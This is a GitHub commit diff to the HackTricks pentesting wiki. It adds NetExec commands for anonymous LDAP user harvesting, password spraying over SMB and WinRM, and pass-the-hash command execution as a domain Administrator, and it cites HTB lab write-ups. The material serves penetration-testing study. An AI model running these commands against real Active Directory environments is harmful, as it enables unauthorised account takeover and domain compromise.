Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commitafed17d

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
2 parentsbacc00c +1cd8ab0 commitafed17d

File tree

3 files changed

+64
-7
lines changed

3 files changed

+64
-7
lines changed

‎src/network-services-pentesting/pentesting-ldap.md‎

Lines changed: 34 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -93,6 +93,33 @@ ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
9393
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) allow**unauthenticated attackers** to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. This is a**legacy configuration**, and as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests.\
9494
However, admins may have needed to**set up a particular application to allow anonymous binds** and given out more than the intended amount of access, thereby giving unauthenticated users access to all objects in AD.
9595

96+
###Anonymous LDAP enumeration with NetExec (null bind)
97+
98+
If null/anonymous bind is allowed, you can pull users, groups, and attributes directly via NetExec’s LDAP module without creds. Useful filters:
99+
- (objectClass=*) to inventory objects under a base DN
100+
- (sAMAccountName=*) to harvest user principals
101+
102+
Examples:
103+
104+
```bash
105+
# Enumerate objects from the root DSE (base DN autodetected)
106+
netexec ldap<DC_FQDN> -u'' -p'' --query"(objectClass=*)"""
107+
108+
# Dump users with key attributes for spraying and targeting
109+
netexec ldap<DC_FQDN> -u'' -p'' --query"(sAMAccountName=*)"""
110+
111+
# Extract just the sAMAccountName field into a list
112+
netexec ldap<DC_FQDN> -u'' -p'' --query"(sAMAccountName=*)""" \
113+
| awk -F':''/sAMAccountName:/ {print $2}'| sort -u> users.txt
114+
```
115+
116+
What to look for:
117+
- sAMAccountName, userPrincipalName
118+
- memberOf and OU placement to scope targeted sprays
119+
- pwdLastSet (temporal patterns), userAccountControl flags (disabled, smartcard required, etc.)
120+
121+
Note: If anonymous bind is not permitted, you’ll typically see an Operations error indicating a bind is required.
122+
96123
##Valid Credentials
97124

98125
If you have valid credentials to login into the LDAP server, you can dump all the information about the Domain Admin using:
@@ -300,13 +327,13 @@ You can download **pbis** from here: [https://github.com/BeyondTrust/pbis-open/]
300327
./list-groups-for-user<username>
301328
./lsa list-groups-for-user<username>
302329
#Get groups of each user
303-
./enum-users| grep"Name:"| sed -e"s,\\\,\\\\\\\,g"| awk'{print $2}'|whileread name;do ./list-groups-for-user"$name";echo -e"========================\n";done
330+
./enum-users| grep"Name:"| sed -e"s,\\,\\\\\\,g"| awk'{print $2}'|whileread name;do ./list-groups-for-user"$name";echo -e"========================\n";done
304331

305332
#Get users of a group
306333
./enum-members --by-name"domain admins"
307334
./lsa enum-members --by-name"domain admins"
308335
#Get users of each group
309-
./enum-groups| grep"Name:"| sed -e"s,\\\,\\\\\\\,g"| awk'{print $2}'|whileread name;doecho"$name"; ./enum-members --by-name"$name";echo -e"========================\n";done
336+
./enum-groups| grep"Name:"| sed -e"s,\\,\\\\\\,g"| awk'{print $2}'|whileread name;doecho"$name"; ./enum-members --by-name"$name";echo -e"========================\n";done
310337

311338
#Get description of each user
312339
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n<Username>| grep"CN"|whileread line;do
@@ -428,6 +455,10 @@ Entry_7:
428455
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
429456
```
430457

431-
{{#include ../banners/hacktricks-training.md}}
458+
##References
432459

460+
-[HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
461+
-[NetExec (CME successor)](https://github.com/Pennyw0rth/NetExec)
462+
-[Microsoft: Anonymous LDAP operations to Active Directory are disabled](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)
433463

464+
{{#include ../banners/hacktricks-training.md}}

‎src/windows-hardening/active-directory-methodology/password-spraying.md‎

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -44,6 +44,23 @@ crackmapexec smb <IP> -u users.txt -p passwords.txt
4444
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0| grep +
4545
```
4646

47+
- Using**NetExec (CME successor)** for targeted, low-noise spraying across SMB/WinRM:
48+
49+
```bash
50+
# Optional: generate a hosts entry to ensure Kerberos FQDN resolution
51+
netexec smb<DC_IP> --generate-hosts-file hosts&& cat hosts /etc/hosts| sudo sponge /etc/hosts
52+
53+
# Spray a single candidate password against harvested users over SMB
54+
netexec smb<DC_FQDN> -u users.txt -p'Password123!' \
55+
--continue-on-success --no-bruteforce --shares
56+
57+
# Validate a hit over WinRM (or use SMB exec methods)
58+
netexec winrm<DC_FQDN> -u<username> -p'Password123!' -x"whoami"
59+
60+
# Tip: sync your clock before Kerberos-based auth to avoid skew issues
61+
sudo ntpdate<DC_FQDN>
62+
```
63+
4764
- Using[**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
4865

4966
```bash
@@ -265,6 +282,7 @@ To use any of these tools, you need a user list and a password / a small list of
265282
-[www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
266283
-[https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
267284
-[HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
285+
-[HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
268286

269287

270288
{{#include ../../banners/hacktricks-training.md}}

‎src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md‎

Lines changed: 12 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -141,6 +141,16 @@ reg save HKLM\SAM SAM.SAV
141141
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
142142
```
143143

144+
5. Post-extraction: Pass-the-Hash to DA
145+
146+
```bash
147+
# Use the recovered Administrator NT hash to authenticate without the cleartext password
148+
netexec winrm<DC_FQDN> -u Administrator -H<ADMIN_NT_HASH> -x"whoami"
149+
150+
# Or execute via SMB using an exec method
151+
netexec smb<DC_FQDN> -u Administrator -H<ADMIN_NT_HASH> --exec-method smbexec -x cmd
152+
```
153+
144154
####Using wbadmin.exe
145155

146156
1. Set up NTFS filesystem for SMB server on attacker machine and cache SMB credentials on the target machine.
@@ -313,9 +323,7 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
313323
- [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys)
314324
- [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
315325
- [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
326+
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
316327
317328
318-
{{#include ../../banners/hacktricks-training.md}}
319-
320-
321-
329+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)

[8]ページ先頭

©2009-2025 Movatter.jp